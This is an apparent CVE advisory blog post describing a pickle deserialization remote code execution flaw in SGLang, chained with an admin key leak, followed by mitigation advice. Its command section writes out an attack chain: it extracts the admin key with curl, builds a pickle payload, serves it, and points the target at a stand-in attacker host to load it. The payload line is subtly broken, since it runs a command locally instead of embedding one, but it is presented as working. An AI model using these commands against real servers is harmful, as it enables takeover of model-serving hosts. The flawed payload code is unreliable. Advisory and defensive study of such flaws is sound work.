Listen to this Post
CVE-2026-15976 details a critical remote code execution vulnerability in SGLang, a popular serving framework for large language models. The flaw resides in the `/update_weights_from_disk` endpoint, which is responsible for dynamically loading model weights from disk or from a HuggingFace repository. When a request is made to this endpoint, SGLang attempts to load the specified weights using PyTorch’s `torch.load()` function. In secure configurations, `torch.load()` is called with the `weights_only=True` parameter, which restricts deserialization to simple tensors and prevents arbitrary code execution via Python’s pickle module. However, SGLang implements a fallback mechanism: if the initial load with `weights_only=True` fails—for example, due to legacy checkpoint formats or compatibility issues—the framework silently retries the operation with weights_only=False. This fallback re-enables full pickle deserialization, allowing an attacker to craft a malicious `.bin` file that, when loaded, executes arbitrary Python code on the server.
The attack surface is broadened by SGLang’s authentication model. The `/update_weights_from_disk` endpoint is protected by the `ADMIN_OPTIONAL` policy, which means that if no administrative API key is configured, the endpoint becomes publicly accessible without any authentication. Even when an admin key is set, the complementary `/server_info` endpoint—which lacks any authentication decorator—leaks the admin key to unauthenticated or low-privilege callers, effectively neutralizing the intended protection. An attacker can therefore chain these issues: first retrieve the admin key from /server_info, then use it to call `/update_weights_from_disk` with a pointer to a malicious HuggingFace repository or a local crafted checkpoint. The server will download and deserialize the poisoned `.bin` file, leading to immediate code execution with the privileges of the SGLang process.
The vulnerability is assigned CWE-502 (Deserialization of Untrusted Data) and carries a CVSS 3.1 base score of 9.8 (Critical) with the vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, indicating that it is remotely exploitable over the network with low attack complexity, requires no privileges or user interaction, and results in complete compromise of confidentiality, integrity, and availability. Affected versions include all SGLang releases up to and including 0.5.15. The issue was discovered and reported by Apoorv Dayal, coordinated through CERT/CC (VU281278), and published on July 30, 2026. The root cause lies in the unsafe fallback to `weights_only=False` and the absence of mandatory authentication for administrative endpoints, making this a critical risk for any production deployment exposed to the internet or untrusted networks.
DailyCVE Form:
Platform: SGLang
Version: <=0.5.15
Vulnerability: Pickle Deserialization RCE
Severity: Critical (9.8)
date: 2026-07-30
Prediction: 2026-08-15
What Undercode Say:
Check installed SGLang version
pip show sglang | grep Version
Verify if the /update_weights_from_disk endpoint is exposed
curl -s http://target:30000/update_weights_from_disk -X POST -H "Content-Type: application/json" -d '{"model_path": "/dev/null"}' | head -n 5
Extract admin key from /server_info (unauthenticated)
curl -s http://target:30000/server_info | jq '.admin_api_key'
Craft a malicious pickle payload (example using Python's pickle)
python3 -c "import pickle, os; pickle.dump(os.system('id > /tmp/pwned'), open('malicious.bin', 'wb'))"
Serve the payload via a simple HTTP server
python3 -m http.server 8080
Trigger the vulnerability by pointing to the malicious .bin file
curl -X POST http://target:30000/update_weights_from_disk \
-H "Content-Type: application/json" \
-d '{"model_path": "http://attacker:8080/malicious.bin"}'
Exploit:
An attacker can exploit CVE-2026-15976 by first identifying a reachable SGLang instance. If the instance lacks an admin key, the `/update_weights_from_disk` endpoint is directly accessible. If an admin key is configured, the attacker can retrieve it from the unauthenticated `/server_info` endpoint, which returns the full server configuration including admin_api_key. With the key in hand, the attacker sends a POST request to `/update_weights_from_disk` with a `model_path` parameter pointing to a malicious HuggingFace repository or a publicly hosted `.bin` file. The server downloads the file and passes it to `torch.load()` with weights_only=False. The pickle payload inside the `.bin` file executes arbitrary commands, such as spawning a reverse shell, exfiltrating sensitive data, or implanting backdoors. The exploitation is reliable and requires no user interaction, making it a high-priority threat.
Protection:
- Upgrade SGLang to a patched version (0.5.16 or later) as soon as it becomes available. The fix should remove the unsafe fallback and enforce `weights_only=True` for all model-loading operations.
- Enforce mandatory authentication for all administrative endpoints, including
/update_weights_from_disk. Configure both `–api-key` and `–admin-api-key` with strong, unique values, and ensure that the `ADMIN_OPTIONAL` policy is overridden to require admin keys unconditionally. - Restrict network exposure by binding the SGLang server to loopback (
127.0.0.1) and using a reverse proxy or firewall to limit access to trusted IP ranges. Avoid exposing the management port (default 30000) to the public internet. - Disable the `/server_info` endpoint or sanitize its output to exclude all secrets. Alternatively, place it behind a separate authentication layer that is not accessible to unprivileged users.
- Implement input validation for the `model_path` parameter to allow only trusted, pre-approved local paths or signed repository identifiers, rejecting any external or user-supplied URLs.
- Deploy runtime monitoring to detect unusual `torch.load()` activity or unexpected child processes spawned from the SGLang process. Use file integrity monitoring to watch for unauthorized changes to model weight files.
Impact:
Successful exploitation of CVE-2026-15976 grants the attacker full remote code execution capabilities on the target server, operating with the same privileges as the SGLang process. This can lead to complete compromise of the AI serving infrastructure, including theft of proprietary model weights, exposure of API keys and cloud credentials, manipulation of inference outputs, and lateral movement to internal networks. In multi-tenant deployments, an attacker could poison models served to other users, inject backdoors, or disrupt service availability. The CVSS score of 9.8 underscores the severity, as the vulnerability is easily exploitable over the network without authentication in common configurations. Organizations running SGLang in production should treat this as a critical incident and apply mitigations immediately.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
